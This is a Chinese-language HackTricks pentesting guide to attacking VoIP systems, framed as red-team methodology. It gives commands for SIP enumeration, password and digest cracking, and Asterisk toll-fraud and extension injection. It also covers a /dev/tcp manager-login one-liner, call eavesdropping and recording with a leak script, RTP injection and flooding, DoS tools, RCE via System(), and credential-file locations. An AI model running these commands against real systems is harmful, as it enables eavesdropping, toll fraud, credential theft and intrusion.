.. | ||
basic-voip-protocols | ||
README.md |
VoIP渗透测试
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
VoIP基本信息
要开始学习VoIP的工作原理,请查看:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
VoIP枚举
电话号码
红队可以采取的第一步是使用OSINT工具、Google搜索或网页抓取来搜索可用的电话号码以与公司联系。
一旦你有了电话号码,你可以使用在线服务来识别运营商:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
了解运营商是否提供VoIP服务,你可以确定公司是否正在使用VoIP...此外,公司可能没有雇用VoIP服务,而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
自动回复音乐等事物通常表明正在使用VoIP。
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT信息
任何其他有助于识别正在使用的VoIP软件的OSINT枚举对于红队都是有帮助的。
网络枚举
nmap
能够扫描UDP服务,但由于扫描的UDP服务数量较多,速度较慢,并且对于这种类型的服务可能不太准确。svmap
来自SIPVicious (sudo apt install sipvicious
):将定位指定网络中的SIP服务。svmap
很容易被阻止,因为它使用了User-Agentfriendly-scanner
,但是你可以修改/usr/share/sipvicious/sipvicious
中的代码来更改它。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sipscan.py
来自 sippts: Sipscan 是一个非常快速的用于扫描 UDP、TCP 或 TLS 上的 SIP 服务的扫描器。它使用多线程并且可以扫描大范围的网络。它允许轻松指定端口范围,同时扫描 TCP 和 UDP,使用其他方法(默认情况下将使用 OPTIONS)并指定不同的 User-Agent(等等)。
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit(元气框架):
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
额外的网络枚举
PBX还可能暴露其他网络服务,例如:
- 69/UDP (TFTP):固件更新
- 80 (HTTP) / 443 (HTTPS):通过Web管理设备
- 389 (LDAP):用于存储用户信息的替代方法
- 3306 (MySQL):MySQL数据库
- 5038 (Manager):允许从其他平台使用Asterisk
- 5222 (XMPP):使用Jabber发送消息
- 5432 (PostgreSQL):PostgreSQL数据库
- 等等...
方法枚举
可以使用sippts中的sipenumerate.py
来查找PBX中可用的方法。
python3 sipenumerate.py -i 10.10.0.10 -r 5080
分机枚举
在PBX(私有分支交换)系统中,分机是指分配给组织或企业中的个别电话线路、设备或用户的唯一内部标识符。分机使得在组织内部高效地路由呼叫成为可能,无需为每个用户或设备分配独立的外部电话号码。
- 使用SIPVicious中的**
svwar
(sudo apt install sipvicious
):svwar
是一个免费的SIP PBX分机扫描工具。它的工作原理类似于传统的拨号扫描器,通过猜测一系列分机或给定的分机列表**来进行扫描。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sipextend.py
来自 sippts: Sipexten 用于识别 SIP 服务器上的分机。Sipexten 可以检查大型网络和端口范围。
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
- metasploit: 您还可以使用metasploit枚举扩展名/用户名:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX 是一种用于 Inter Asterisk Exchange 协议的用户名暴力破解枚举器。enumIAX 可以以两种不同的模式运行;顺序用户名猜测或字典攻击。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP攻击
密码暴力破解
在发现了PBX和一些分机/用户名之后,红队可以尝试使用常见密码字典通过**REGISTER
方法**对一个分机进行身份验证,以进行身份验证的密码暴力破解。
{% hint style="danger" %} 请注意,用户名可以与分机号相同,但这种做法可能因PBX系统、其配置和组织的偏好而有所不同...
如果用户名与分机号不同,您需要找出用户名以进行暴力破解。 {% endhint %}
svcrack
来自SIPVicious (sudo apt install sipvicious
): SVCrack允许您破解PBX上特定用户名/分机的密码。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
sipcrack.py
来自 sippts: SIP Digest Crack 是一个用于破解 SIP 协议中的摘要认证的工具。
{% code overflow="wrap" %}
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
{% endcode %}
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP Sniffing
如果你在一个开放的无线网络中发现了VoIP设备,你可以嗅探所有的信息。此外,如果你在一个更封闭的网络中(通过以太网或受保护的无线网络连接),你可以执行中间人攻击,如ARP欺骗,在PBX和网关之间以便嗅探信息。
在网络信息中,你可以找到用于管理设备的Web凭据,用户分机号码,用户名,IP地址,甚至哈希密码和RTP数据包,你可以重现这些数据包以听到对话,等等。
要获取这些信息,你可以使用诸如Wireshark、tcpdump等工具,但是一个专门用于嗅探VoIP对话的工具是ucsniff。
{% hint style="danger" %}
请注意,如果SIP通信中使用了TLS,你将无法清楚地看到SIP通信。
如果使用了SRTP和ZRTP,RTP数据包将不会以明文形式显示。
{% endhint %}
SIP凭据
查看此示例以更好地理解SIP REGISTER通信,了解凭据是如何发送的。
sipdump
和sipcrack
,是sipcrack的一部分(apt-get install sipcrack
):这些工具可以从pcap中提取SIP协议中的摘要认证,并对其进行暴力破解。
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
siptshar.py
,sipdump.py
,sipcrack.py
来自 sippts:- SipTshark 从PCAP文件中提取SIP协议的数据。
- SipDump 从PCAP文件中提取SIP摘要认证。
- SIP Digest Crack 是一个用于破解SIP协议中摘要认证的工具。
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
DTMF代码
不仅可以在网络流量中找到SIP凭据,还可以找到用于访问语音邮件等功能的DTMF代码。
可以通过INFO SIP消息、音频或RTP数据包发送这些代码。如果代码在RTP数据包中,可以剪切对话的那部分并使用multimo工具提取它们:
multimon -a DTMF -t wac pin.wav
免费通话 / Asterisks 连接配置错误
在 Asterisk 中,可以允许来自特定 IP 地址或任意 IP 地址的连接:
host=10.10.10.10
host=dynamic
如果指定了IP地址,主机就不需要定期发送REGISTER请求(在REGISTER数据包中发送的生存时间通常为30分钟,这意味着在其他情况下,电话需要每30分钟进行注册)。但是,它需要打开允许来自VoIP服务器的连接的端口,以接听电话。
要定义用户,可以使用以下方式:
type=user
:用户只能作为用户接收呼叫。type=friend
:可以作为对等体进行呼叫,并作为用户接收呼叫(与扩展一起使用)。type=peer
:可以作为对等体发送和接收呼叫(SIP-trunk)。
还可以通过不安全的变量建立信任关系:
insecure=port
:允许通过IP验证对等连接。insecure=invite
:INVITE消息不需要身份验证。insecure=port,invite
:两者都需要。
{% hint style="warning" %}
当使用**type=friend
时,host变量的值将不会被使用**,因此,如果管理员使用该值错误配置SIP-trunk,任何人都可以连接到它。
例如,以下配置将存在漏洞:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
免费通话/ Asterisks上下文配置错误
在Asterisk中,上下文(context)是拨号计划中的一个命名容器或部分,用于将相关的分机、动作和规则分组在一起。拨号计划是Asterisk系统的核心组件,它定义了如何处理和路由呼入和呼出电话。上下文用于组织拨号计划,管理访问控制,并在系统的不同部分之间提供分隔。
每个上下文在配置文件中定义,通常在**extensions.conf
**文件中。上下文由方括号表示,上下文名称位于方括号内。例如:
csharpCopy code[my_context]
在上下文中,您定义分机(拨号号码的模式)并将其与一系列操作或应用程序关联起来。这些操作确定呼叫的处理方式。例如:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
这个示例演示了一个名为"my_context"的简单上下文,其中包含一个分机"100"。当有人拨打100时,电话将被接听,播放欢迎消息,然后电话将被终止。
这是另一个上下文,允许拨打任何其他号码:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
如果管理员将默认上下文定义为:
[default]
include => my_context
include => external
{% hint style="warning" %} 任何人都可以使用服务器拨打任何其他号码(服务器管理员将为通话付费)。 {% endhint %}
{% hint style="danger" %}
此外,默认情况下,sip.conf
文件包含 allowguest=true
,因此任何未经身份验证的攻击者都可以拨打任何其他号码。
{% endhint %}
sipinvite.py
来自 sippts: Sipinvite 检查 PBX 服务器是否允许我们在没有身份验证的情况下进行呼叫。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转接到第二个外部号码。
例如,如果您的 Asterisk 服务器具有错误的上下文配置,您可以接受未经授权的 INVITE 请求。在这种情况下,攻击者可以在不知道任何用户/密码的情况下进行呼叫。
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
免费通话 / 配置错误的IVRS
IVRS代表交互式语音应答系统,是一种电话技术,允许用户通过语音或按键输入与计算机化系统进行交互。IVRS用于构建自动呼叫处理系统,提供一系列功能,如提供信息、路由呼叫和捕获用户输入。
VoIP系统中的IVRS通常包括以下内容:
- 语音提示:预先录制的音频消息,引导用户通过IVR菜单选项和指示。
- DTMF(双音多频)信号:通过在电话上按键生成的按键输入,用于浏览IVR菜单并提供输入。
- 呼叫路由:根据用户输入将呼叫定向到适当的目标,如特定部门、代理商或分机。
- 用户输入捕获:从呼叫者那里收集信息,如账号号码、案件ID或其他相关数据。
- 与外部系统集成:将IVR系统连接到数据库或其他软件系统,以访问或更新信息、执行操作或触发事件。
在Asterisk VoIP系统中,您可以使用拨号计划(**extensions.conf
**文件)和各种应用程序(如Background()
、Playback()
、Read()
等)创建IVR。这些应用程序帮助您播放语音提示,捕获用户输入并控制呼叫流程。
脆弱配置示例
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
前面是一个例子,用户被要求按下1来呼叫一个部门,按下2来呼叫另一个部门,或者如果他知道的话,输入完整的分机号码。
漏洞在于没有检查指定的分机号码长度,因此用户可以输入完整的号码并进行呼叫。
分机注入
使用以下分机号码:
exten => _X.,1,Dial(SIP/${EXTEN})
当输入**${EXTEN}
的时候,会呼叫到对应的分机**。当输入ext 101时,会发生以下情况:
exten => 101,1,Dial(SIP/101)
然而,如果${EXTEN}
允许输入不仅仅是数字(就像旧版本的Asterisk一样),攻击者可以输入**101&SIP123123123
**来拨打电话号码123123123。结果将如下所示:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
因此,对分机号码**101
和123123123
的呼叫将被发送,只有第一个接听呼叫的分机会建立连接...但是,如果攻击者使用一个绕过正在执行的任何匹配但不存在的分机号码,他可以向所需的号码注入呼叫**。
SIPDigestLeak
SIP Digest Leak是一种影响大量SIP电话的漏洞,包括硬件和软件IP电话以及电话适配器(VoIP到模拟电话)。该漏洞允许泄露Digest身份验证响应,该响应是从密码计算出来的。然后可以进行离线密码攻击,并根据挑战响应恢复大多数密码。
漏洞场景(有关更多信息,请查看此处):
- 一个IP电话(受害者)正在监听端口5060,接受电话
- 攻击者向IP电话发送INVITE
- 受害者电话开始响铃,有人接听并挂断(因为另一端没有人接听电话)
- 当电话挂断时,受害者电话向攻击者发送BYE
- 攻击者发出一个要求身份验证的407响应,并发出一个身份验证挑战
- 受害者电话在第二个BYE中对身份验证挑战提供响应
- 攻击者可以在本地机器上(或分布式网络等)对挑战响应进行暴力攻击,并猜测密码
- sipdigestleak.py 来自sippts: SipDigestLeak利用了这个漏洞。
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
点击拨号
点击拨号允许一个对某个产品感兴趣的网页用户输入他的电话号码以便被拨打。然后会拨打一个商业电话,当他接听电话时,用户将会被拨打并与代理人连接。
这种情况下,一个常见的Asterisk配置文件是:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- 前一个配置文件允许任何IP地址连接(如果知道密码)。
- 要进行呼叫,如之前所述,不需要读取权限,只需要写入中的发起权限。
有了这些权限,任何知道密码的IP都可以连接并提取过多的信息,例如:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
更多信息或操作可能会被请求。
窃听
在Asterisk中,可以使用命令**ChanSpy
来指示要监视的分机号码**(或全部分机号码),以便听取正在进行的对话。此命令需要分配给一个分机号码。
例如,exten => 333,1,ChanSpy('all',qb)
表示如果您拨打分机号码333,它将监视所有分机号码,在新对话开始时(b
)以安静模式(q
)开始监听,因为我们不想进行干预。您可以通过按下***
**或标记分机号码来切换到另一个正在进行的对话。
还可以使用**ExtenSpy
**来仅监视一个分机号码。
除了听取对话外,还可以使用以下分机号码将其记录在文件中:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
通话将保存在 /tmp
中。
您甚至可以让Asterisk在关闭时执行一个脚本,以泄露通话信息。
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed
RTCPBleed是一个影响基于Asterisk的VoIP服务器的重大安全问题(于2017年发布)。该漏洞允许任何互联网上的人拦截和重定向携带VoIP通话的RTP(实时传输协议)流量。这是因为RTP流量在通过NAT(网络地址转换)防火墙时绕过了身份验证。
RTP代理试图解决影响RTC系统的NAT限制,通过在两个或多个方之间代理RTP流。当存在NAT时,RTP代理软件通常无法依赖通过信令(例如SIP)检索到的RTP IP和端口信息。因此,许多RTP代理已经实现了一种机制,通过自动学习此类IP和端口元组。这通常是通过检查传入的RTP流量并将任何传入RTP流量的源IP和端口标记为应该响应的IP和端口来完成的。这种机制,可能被称为“学习模式”,不使用任何形式的身份验证。因此,攻击者可以向RTP代理发送RTP流量并接收到用于呼叫方或被呼叫方的RTP流量。我们将此漏洞称为RTP Bleed,因为它允许攻击者接收应该发送给合法用户的RTP媒体流。
RTP代理和RTP堆栈的另一个有趣行为是,有时,即使不容易受到RTP Bleed的影响,它们也会接受、转发和/或处理来自任何源的RTP数据包。因此,攻击者可以发送RTP数据包,这可能允许他们注入非法媒体而不是合法媒体。我们将此攻击称为RTP注入,因为它允许将非法RTP数据包注入到现有的RTP流中。此漏洞可能存在于RTP代理和终端设备中。
Asterisk和FreePBX传统上使用**NAT=yes
设置**,该设置允许RTP流量绕过身份验证,可能导致通话中没有音频或单向音频。
有关更多信息,请访问https://www.rtpbleed.com/
- **
rtpbleed.py
来自sippts:**它通过发送RTP流来检测RTP Bleed漏洞。
python3 rtpbleed.py -i 10.10.0.10
rtcpbleed.py
来自 sippts: 它通过发送 RTP 流来检测 RTP Bleed 漏洞
python3 rtcpbleed.py -i 10.10.0.10
rtpbleedflood.py
来自 sippts: 利用 RTP Bleed 漏洞发送 RTP 流的攻击工具
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
rtpbleedinject.py
来自 sippts: 利用 RTP Bleed 漏洞发送 RTP 流(来自音频文件)的漏洞利用程序
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
RCE(远程命令执行)
在Asterisk中,如果你成功地能够添加扩展规则并重新加载它们(例如通过攻击一个存在漏洞的Web管理服务器),就有可能使用**System
**命令来实现远程命令执行(RCE)。
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
有一个名为**Shell
**的命令,可以在必要时用来执行系统命令,而不是使用System
命令。
{% hint style="warning" %}
如果服务器禁止在System
命令中使用某些字符(例如在Elastix中),请检查Web服务器是否允许以某种方式在系统内创建文件(例如在Elastix或trixbox中),然后使用它来创建一个后门脚本,然后使用System
来执行该脚本。
{% endhint %}
有趣的本地文件和权限
sip.conf
-> 包含SIP用户的密码。- 如果Asterisk服务器以root身份运行,您可以妥协root权限。
- mysql root用户可能没有任何密码。
- 这可以用来创建一个新的mysql用户作为后门。
FreePBX
amportal.conf
-> 包含Web面板管理员(FreePBX)的密码。FreePBX.conf
-> 包含用于访问数据库的FreePBXuser用户的密码。- 这可以用来创建一个新的mysql用户作为后门。
Elastix
Elastix.conf
-> 包含明文密码,如mysql root密码,IMAPd密码,Web管理员密码。- 多个文件夹将属于被入侵的Asterisk用户(如果不是以root身份运行)。该用户可以读取前面的文件,并且还可以控制配置,因此他可以在执行时加载其他后门二进制文件。
RTP注入
可以使用工具如**rtpinsertsound
(sudo apt install rtpinsertsound
)和rtpmixsound
(sudo apt install rtpmixsound
)来在通话中插入.wav
**文件。
或者您可以使用来自http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/的脚本来扫描对话(rtpscan.pl
),向对话发送.wav
文件(rtpsend.pl
)以及在对话中插入噪音(rtpflood.pl
)。
DoS
有几种方法可以尝试在VoIP服务器上实现DoS。
- 来自sippts的**
sipflood.py
:_SipFlood_向目标发送无限数量的消息。 python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
- IAXFlooder:对Asterisk使用的IAX协议进行DoS攻击。
- inviteflood:用于在UDP/IP上执行SIP/SDP INVITE消息洪水攻击的工具。
- rtpflood:发送多个格式正确的RTP数据包。需要知道正在使用的RTP端口(先进行嗅探)。
- SIPp:允许分析和生成SIP流量,因此也可以用于DoS攻击。
- SIPsak:SIP瑞士军刀。也可用于执行SIP攻击。
- Fuzzers:protos-sip,voiper。
- 来自sippts的**
sipsend.py
**:SIPSend允许我们发送自定义的SIP消息并分析响应。 - 来自sippts的**
wssend.py
**:WsSend允许我们通过WebSockets发送自定义的SIP消息并分析响应。
操作系统漏洞
安装Asterisk等软件的最简单方法是下载已经安装了它的操作系统发行版,例如:FreePBX,Elastix,Trixbox... 但这些发行版的问题是,一旦它们开始运行,系统管理员可能不会再次更新它们,而随着时间的推移,将会发现漏洞。
参考资料
- https://github.com/Pepelux/sippts/wiki
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看SUBSCRIPTION PLANS!
- 发现我们的独家NFT收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。